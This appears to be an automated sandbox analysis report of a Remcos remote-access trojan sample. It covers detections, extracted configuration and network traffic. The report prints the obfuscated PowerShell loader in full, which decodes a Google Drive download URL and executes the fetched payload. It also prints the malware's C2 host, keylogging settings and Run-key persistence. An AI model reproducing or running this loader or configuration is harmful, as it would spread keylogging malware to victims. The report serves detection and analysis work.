Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "cls;write 'labeler Esmeralda Prepious Engleskares Archaiser Dolphinfishes150 Pungi Amar Sjlesorger shopkeeper Nephrostomy Mainframes Raninae Kobberbrylluppet firethorn Smlds outslander Praedikaterne Ublufrdigste Sejlklubbers Amtsskatteinspektoratet Nondecoration235 Topminnow Interveneredes labeler Esmeralda Prepious Engleskares Archaiser Dolphinfishes150 Pungi Amar Sjlesorger shopkeeper Nephrostomy Mainframes Raninae Kobberbrylluppet firethorn Smlds outslander Praedikaterne Ublufrdigste Sejlklubbers Amtsskatteinspektoratet Nondecoration235 Topminnow Interveneredes';If (${host}.CurrentCulture) {$Almengjorde++;}Function Sprge($Kalkunernes){$batterdock=$Kalkunernes.Length-$Almengjorde;$Experientialistic='SUBsTRI';$Experientialistic+='ng';For( $Ricabooracker=2;$Ricabooracker -lt $batterdock;$Ricabooracker+=3){$labeler+=$Kalkunernes.$Experientialistic.Invoke( $Ricabooracker, $Almengjorde);}$labeler;}function Dkvingen($Smaaborgerligeres){ & ($Hektoliters) ($Smaaborgerligeres);}$Omsorgsfuldere=Sprge 'B,MSpoInzBaiAmlBal.ua,e/Gu5Mu.He0A .i(,eW ,iBlnIndAroScwP sSk EnN.rTFo 1Di0He.D.0Rn;Sp FiW AiLant 6 r4.e;Bo AdxSu6Gi4Ad;Wi RhrAnvAs:Pl1He2Tr1Mi..r0Su)al GeG LeSkcU.k AoNa/C,2Pe0Fa1Pr0.e0Ot1An0Om1ag InFA,i Fr,ueLafSuoHexb,/Ne1 D2 ,1 U. ,0B, ';$Theorize=Sprge 'BiU,is .eStrAn-L A eg,reSunYat H ';$Archaiser=Sprge 'HahFet.ut Dp ss C: A/Ta/ .dLar RiUdvPoeS,.DegRuoF,o og.ylKae K.Foc Mo,rmSj/ReuPacNe?Ase,oxTep.eo TrShtEr=SedSeoK.wVinShlKyoUlaStd,n& BiPedK.= M1 ,-F.zTy0ral M_F 0E MPrGbuUTrlSoc COCy-Br5 TeKoO NlS Z.kq LtKnS LuLilSa5 Su.rzSng nPT.Xl pSihSi_Li ';$Pediococci150=Sprge 'Br>P. ';$Hektoliters=Sprge 'PriHeeAyxUn ';$Koksede='Amar';$Doktordisputatsen = Sprge ',aeMacRuhHao l ,a%B.a.hpHep .dK a DtM,aRe% a\S.FT.oA.lAekMieHes nlExaSeg ,eCrtD.. .O,up,di,y Co&Fo&Fu M,e cDehT oDo Unts. ';Dkvingen (Sprge 'Ve$ ,gnelRuoFabSraPilCe:BeSett .asptA iC o Sn,lcBaaF.r .eDunl =S,( BchomEfdEm De/ Nc , B$I,DefoKekA.turoRerDidBriKls Ap,auCatp,aGatAfs .e CnLe) Z ');Dkvingen (Sprge ' ,$,egDel.ao ,bIna ,lSa: MES n RgdalP eU s rkK a,ir TeKos,a=Va$JuA .r .cFlh ,aUniSks le nrUd. Ds ,pFaljuiS t .( M$UnP .eAndB,i o BcPyo.tc ScFoi P1Sc5 T0 s)Ek ');Dkvingen (Sprge ' y[ NC e ,tPr. iSCaePar.rv.ii.ec .eIlPkoo oi rnRatClM Ta.pnAcaVigSaeRerCh],e:Ek: ASPaeK.c Mu .r PiEntHjy TPGar AoIntQuoVic,uo Vl =In [ N ee ItPr. .SHoe bcCou trMyi HtOmy.iPUdrSkoP.t oVac o elArTKlyOpp HePr],i:Ud:CoTN,lF sNo1 V2 K ');$Archaiser=$Engleskares[0];$Merocele= (Sprge 'F $AngBelSpoExb.naOmlNe:UrB ,fRul FeStnRe=UkN,le owBa-PrOMab.ljUte,rcVetfr F.SA.y nsR tPreInm,e.GrNBoeIntB..ElWFreMybPeCEplUni Be Jn Tt');$Merocele+=$Stationcaren[1];Dkvingen ($Merocele);Dkvingen (Sprge ',o$NuBU.f olSueRen ,.K H,me Ra,odapeNorFos .[ P$StT PhDee Solir.riTuzC e,o]Es=Fi$ OKom ,su.oStrm.gVrsBrf UuR,lSmd.heHarSpe h ');$Kundetilfredshedsgarantiernes=Sprge ' ,$ ABVefDalBieGanem.KiDT,o Fw.nnSul noNua Sd .F KiDal SeMa(Ur$,tAPercacLehS.aAniRas ,eSarAu,S $A.N,noAgnPedTre

Snort Signatures

⊘No Snort rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Found malware configuration

Source: 0000000D.00000002.3219431727.0000000009FA8000.00000004.00000020.00020000.00000000.sdmp

Malware Configuration Extractor: Remcos {"Host:Port:Password": "a458386d9.duckdns.org:3256:1", "Assigned name": "RemoteHost", "Connect interval": "1", "Install flag": "Disable", "Setup HKCU\\Run": "Enable", "Setup HKLM\\Run": "Enable", "Install path": "Application path", "Copy file": "remcos.exe", "Startup value": "Disable", "Hide file": "Disable", "Mutex": "Rmc-7CSH4D", "Keylog flag": "1", "Keylog path": "Application path", "Keylog file": "logs.dat", "Keylog crypt": "Enable", "Hide keylog file": "Disable", "Screenshot flag": "Disable", "Screenshot time": "10", "Take Screenshot option": "Disable", "Take screenshot title": "", "Take screenshot time": "5", "Screenshot path": "AppData", "Screenshot file": "Screenshots", "Screenshot crypt": "Disable", "Mouse option": "Disable", "Delete file": "Disable", "Audio record time": "5"}

Yara detected Remcos RAT

Source: Yara match

File source: 0000000D.00000002.3219431727.0000000009FA8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Source: unknown	HTTPS traffic detected: 142.250.186.110:443 -> 192.168.2.6:49721 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.184.225:443 -> 192.168.2.6:49722 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.110:443 -> 192.168.2.6:49726 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.33:443 -> 192.168.2.6:49727 version: TLS 1.2

Source:	Binary string: ore.pdb source: powershell.exe, 0000000B.00000002.3210783134.00000000089BB000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Management.Automation.pdb source: powershell.exe, 0000000B.00000002.3191614881.000000000327D000.00000004.00000020.00020000.00000000.sdmp

Software Vulnerabilities

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor

URLs: a458386d9.duckdns.org

Source: Joe Sandbox View	JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e
Source: Joe Sandbox View	JA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19

Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1-z0l_0MGUlcO-5eOlZqtSul5uzgPXph_ HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: drive.google.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /download?id=1-z0l_0MGUlcO-5eOlZqtSul5uzgPXph_&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: drive.usercontent.google.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1_AnTSw4doBUNQkH5iTyWtjjkw3XU0WG6 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: drive.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /download?id=1_AnTSw4doBUNQkH5iTyWtjjkw3XU0WG6&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Cache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-Alive

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1-z0l_0MGUlcO-5eOlZqtSul5uzgPXph_ HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: drive.google.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /download?id=1-z0l_0MGUlcO-5eOlZqtSul5uzgPXph_&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: drive.usercontent.google.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1_AnTSw4doBUNQkH5iTyWtjjkw3XU0WG6 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: drive.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /download?id=1_AnTSw4doBUNQkH5iTyWtjjkw3XU0WG6&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Cache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-Alive

Source: global traffic	DNS traffic detected: DNS query: drive.google.com
Source: global traffic	DNS traffic detected: DNS query: drive.usercontent.google.com

Source: powershell.exe, 0000000B.00000002.3200646537.0000000007A23000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.m
Source: powershell.exe, 00000008.00000002.3601488920.00000197DBC88000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.micros5
Source: wscript.exe, 00000000.00000003.2115562363.000001D122D56000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab?d7872b684f3f2
Source: wscript.exe, 00000000.00000003.2115320787.000001D122D2E000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2115562363.000001D122D56000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ctldl.windowsupdate.com:80/msdownload/update/v3/static/trustedr/en/authrootstl.cab?d7872b684f
Source: powershell.exe, 00000008.00000002.3436565741.00000197C5419000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://drive.google.com
Source: powershell.exe, 00000008.00000002.3436565741.00000197C5452000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://drive.usercontent.google.com
Source: powershell.exe, 00000008.00000002.3601488920.00000197DBC88000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://microsoft.co
Source: powershell.exe, 00000008.00000002.3577666635.00000197D36A8000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000B.00000002.3194915385.000000000615A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000B.00000002.3194915385.000000000601E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://nuget.org/NuGet.exe
Source: powershell.exe, 0000000B.00000002.3192439698.0000000005116000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: powershell.exe, 00000008.00000002.3436565741.00000197C3641000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000B.00000002.3192439698.0000000004FC1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: powershell.exe, 0000000B.00000002.3192439698.0000000005116000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: powershell.exe, 00000008.00000002.3601488920.00000197DBC88000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.microsoft.co
Source: powershell.exe, 00000008.00000002.3596275506.00000197DBA57000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.microsoft.coA
Source: powershell.exe, 00000008.00000002.3436565741.00000197C3641000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore68
Source: powershell.exe, 0000000B.00000002.3192439698.0000000004FC1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore6lB
Source: powershell.exe, 00000008.00000002.3436565741.00000197C3B03000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.3436565741.00000197C5419000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.3436565741.00000197C543B000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.3436565741.00000197C543F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://apis.google.com
Source: powershell.exe, 0000000B.00000002.3194915385.000000000601E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/
Source: powershell.exe, 0000000B.00000002.3194915385.000000000601E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 0000000B.00000002.3194915385.000000000601E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/License
Source: powershell.exe, 00000008.00000002.3436565741.00000197C4AAE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive.g
Source: powershell.exe, 00000008.00000002.3436565741.00000197C4AAE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive.go
Source: powershell.exe, 00000008.00000002.3436565741.00000197C4AAE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive.goo
Source: powershell.exe, 00000008.00000002.3436565741.00000197C4AAE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive.goog
Source: powershell.exe, 00000008.00000002.3436565741.00000197C5415000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive.googP
Source: powershell.exe, 00000008.00000002.3436565741.00000197C4AAE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive.googl
Source: powershell.exe, 00000008.00000002.3436565741.00000197C4AAE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive.google
Source: powershell.exe, 00000008.00000002.3436565741.00000197C4AAE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.
Source: powershell.exe, 00000008.00000002.3436565741.00000197C4AAE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.c
Source: powershell.exe, 00000008.00000002.3436565741.00000197C4AAE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.co
Source: powershell.exe, 00000008.00000002.3436565741.00000197C4EF7000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.3436565741.00000197C3865000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.3436565741.00000197C4AAE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com
Source: powershell.exe, 00000008.00000002.3436565741.00000197C4AAE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/
Source: powershell.exe, 00000008.00000002.3436565741.00000197C4AAE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/u
Source: powershell.exe, 00000008.00000002.3436565741.00000197C4AAE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/uc
Source: powershell.exe, 00000008.00000002.3436565741.00000197C4AAE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/uc?
Source: powershell.exe, 00000008.00000002.3436565741.00000197C4AAE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/uc?e
Source: powershell.exe, 00000008.00000002.3436565741.00000197C4AAE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/uc?ex
Source: powershell.exe, 00000008.00000002.3436565741.00000197C4AAE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/uc?exp
Source: powershell.exe, 00000008.00000002.3436565741.00000197C4AAE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/uc?expo
Source: powershell.exe, 00000008.00000002.3436565741.00000197C4AAE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/uc?expor
Source: powershell.exe, 00000008.00000002.3436565741.00000197C4AAE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/uc?export
Source: powershell.exe, 00000008.00000002.3436565741.00000197C4AAE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/uc?export=
Source: powershell.exe, 00000008.00000002.3436565741.00000197C4AAE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/uc?export=d
Source: powershell.exe, 00000008.00000002.3436565741.00000197C4AAE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/uc?export=do
Source: powershell.exe, 00000008.00000002.3436565741.00000197C4AAE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/uc?export=dow
Source: powershell.exe, 00000008.00000002.3436565741.00000197C4AAE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/uc?export=down
Source: powershell.exe, 00000008.00000002.3436565741.00000197C4AAE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/uc?export=downl
Source: powershell.exe, 00000008.00000002.3436565741.00000197C4AAE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/uc?export=downlo
Source: powershell.exe, 00000008.00000002.3436565741.00000197C4AAE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/uc?export=downloa
Source: powershell.exe, 00000008.00000002.3436565741.00000197C4AAE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/uc?export=download
Source: powershell.exe, 00000008.00000002.3436565741.00000197C4AAE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/uc?export=download&
Source: powershell.exe, 00000008.00000002.3436565741.00000197C4AAE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/uc?export=download&i
Source: powershell.exe, 00000008.00000002.3436565741.00000197C4AAE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/uc?export=download&id
Source: powershell.exe, 00000008.00000002.3436565741.00000197C4AAE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/uc?export=download&id=
Source: powershell.exe, 00000008.00000002.3436565741.00000197C4AAE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/uc?export=download&id=1
Source: powershell.exe, 00000008.00000002.3436565741.00000197C4AAE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/uc?export=download&id=1-
Source: powershell.exe, 00000008.00000002.3436565741.00000197C4AAE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/uc?export=download&id=1-z
Source: powershell.exe, 00000008.00000002.3436565741.00000197C4AAE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/uc?export=download&id=1-z0
Source: powershell.exe, 00000008.00000002.3436565741.00000197C4AAE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/uc?export=download&id=1-z0l
Source: powershell.exe, 00000008.00000002.3436565741.00000197C4AAE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/uc?export=download&id=1-z0l_
Source: powershell.exe, 00000008.00000002.3436565741.00000197C4AAE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/uc?export=download&id=1-z0l_0
Source: powershell.exe, 00000008.00000002.3436565741.00000197C4AAE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/uc?export=download&id=1-z0l_0M
Source: powershell.exe, 00000008.00000002.3436565741.00000197C4AAE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/uc?export=download&id=1-z0l_0MG
Source: powershell.exe, 00000008.00000002.3436565741.00000197C4AAE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/uc?export=download&id=1-z0l_0MGU
Source: powershell.exe, 00000008.00000002.3436565741.00000197C4AAE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/uc?export=download&id=1-z0l_0MGUl
Source: powershell.exe, 00000008.00000002.3436565741.00000197C4AAE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/uc?export=download&id=1-z0l_0MGUlc
Source: powershell.exe, 00000008.00000002.3436565741.00000197C4AAE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/uc?export=download&id=1-z0l_0MGUlcO
Source: powershell.exe, 00000008.00000002.3436565741.00000197C4AAE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/uc?export=download&id=1-z0l_0MGUlcO-
Source: powershell.exe, 00000008.00000002.3436565741.00000197C4AAE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/uc?export=download&id=1-z0l_0MGUlcO-5
Source: powershell.exe, 00000008.00000002.3436565741.00000197C4AAE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/uc?export=download&id=1-z0l_0MGUlcO-5e
Source: powershell.exe, 00000008.00000002.3436565741.00000197C4AAE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/uc?export=download&id=1-z0l_0MGUlcO-5eO
Source: powershell.exe, 00000008.00000002.3436565741.00000197C4AAE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/uc?export=download&id=1-z0l_0MGUlcO-5eOl
Source: powershell.exe, 00000008.00000002.3436565741.00000197C4AAE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/uc?export=download&id=1-z0l_0MGUlcO-5eOlZ
Source: powershell.exe, 00000008.00000002.3436565741.00000197C4AAE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/uc?export=download&id=1-z0l_0MGUlcO-5eOlZq
Source: powershell.exe, 00000008.00000002.3436565741.00000197C4AAE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/uc?export=download&id=1-z0l_0MGUlcO-5eOlZqt
Source: powershell.exe, 00000008.00000002.3436565741.00000197C4AAE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/uc?export=download&id=1-z0l_0MGUlcO-5eOlZqtS
Source: powershell.exe, 00000008.00000002.3436565741.00000197C4AAE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/uc?export=download&id=1-z0l_0MGUlcO-5eOlZqtSu
Source: powershell.exe, 00000008.00000002.3436565741.00000197C4AAE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/uc?export=download&id=1-z0l_0MGUlcO-5eOlZqtSul
Source: powershell.exe, 00000008.00000002.3436565741.00000197C4AAE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/uc?export=download&id=1-z0l_0MGUlcO-5eOlZqtSul5
Source: powershell.exe, 00000008.00000002.3436565741.00000197C4AAE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/uc?export=download&id=1-z0l_0MGUlcO-5eOlZqtSul5u
Source: powershell.exe, 00000008.00000002.3436565741.00000197C4AAE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/uc?export=download&id=1-z0l_0MGUlcO-5eOlZqtSul5uz
Source: powershell.exe, 00000008.00000002.3436565741.00000197C4AAE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/uc?export=download&id=1-z0l_0MGUlcO-5eOlZqtSul5uzg
Source: powershell.exe, 00000008.00000002.3436565741.00000197C4AAE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/uc?export=download&id=1-z0l_0MGUlcO-5eOlZqtSul5uzgP
Source: powershell.exe, 00000008.00000002.3436565741.00000197C4AAE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/uc?export=download&id=1-z0l_0MGUlcO-5eOlZqtSul5uzgPX
Source: powershell.exe, 00000008.00000002.3436565741.00000197C4AAE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/uc?export=download&id=1-z0l_0MGUlcO-5eOlZqtSul5uzgPXp
Source: powershell.exe, 00000008.00000002.3436565741.00000197C4AAE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/uc?export=download&id=1-z0l_0MGUlcO-5eOlZqtSul5uzgPXph
Source: powershell.exe, 00000008.00000002.3436565741.00000197C3865000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.3436565741.00000197C4AAE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/uc?export=download&id=1-z0l_0MGUlcO-5eOlZqtSul5uzgPXph_
Source: powershell.exe, 00000008.00000002.3596275506.00000197DBA27000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/uc?export=download&id=1-z0l_0MGUlcO-5eOlZqtSul5uzgPXph_602
Source: powershell.exe, 0000000B.00000002.3192439698.0000000005116000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/uc?export=download&id=1-z0l_0MGUlcO-5eOlZqtSul5uzgPXph_XRjlP
Source: powershell.exe, 00000008.00000002.3436565741.00000197C543F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.googh
Source: powershell.exe, 00000008.00000002.3436565741.00000197C3B07000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.3436565741.00000197C543F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com
Source: powershell.exe, 00000008.00000002.3436565741.00000197C3B03000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.3436565741.00000197C5419000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.3436565741.00000197C3B07000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.3436565741.00000197C543B000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.3436565741.00000197C543F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/download?id=1-z0l_0MGUlcO-5eOlZqtSul5uzgPXph_&export=download
Source: powershell.exe, 0000000B.00000002.3192439698.0000000005116000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Pester/Pester
Source: powershell.exe, 00000008.00000002.3436565741.00000197C48C5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://go.micro
Source: powershell.exe, 00000008.00000002.3577666635.00000197D36A8000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000B.00000002.3194915385.000000000615A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000B.00000002.3194915385.000000000601E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://nuget.org/nuget.exe
Source: powershell.exe, 00000008.00000002.3436565741.00000197C3B03000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.3436565741.00000197C5419000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.3436565741.00000197C543B000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.3436565741.00000197C543F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ssl.gstatic.com
Source: powershell.exe, 00000008.00000002.3436565741.00000197C3B03000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.3436565741.00000197C5419000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.3436565741.00000197C543B000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.3436565741.00000197C543F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google-analytics.com;report-uri
Source: powershell.exe, 00000008.00000002.3436565741.00000197C3B03000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.3436565741.00000197C5419000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.3436565741.00000197C543B000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.3436565741.00000197C543F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com
Source: powershell.exe, 00000008.00000002.3436565741.00000197C3B03000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.3436565741.00000197C5419000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.3436565741.00000197C543B000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.3436565741.00000197C543F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.googletagmanager.com
Source: powershell.exe, 00000008.00000002.3436565741.00000197C3B03000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.3436565741.00000197C5419000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.3436565741.00000197C543B000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.3436565741.00000197C543F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49722
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49721
Source: unknown	Network traffic detected: HTTP traffic on port 49726 -> 443
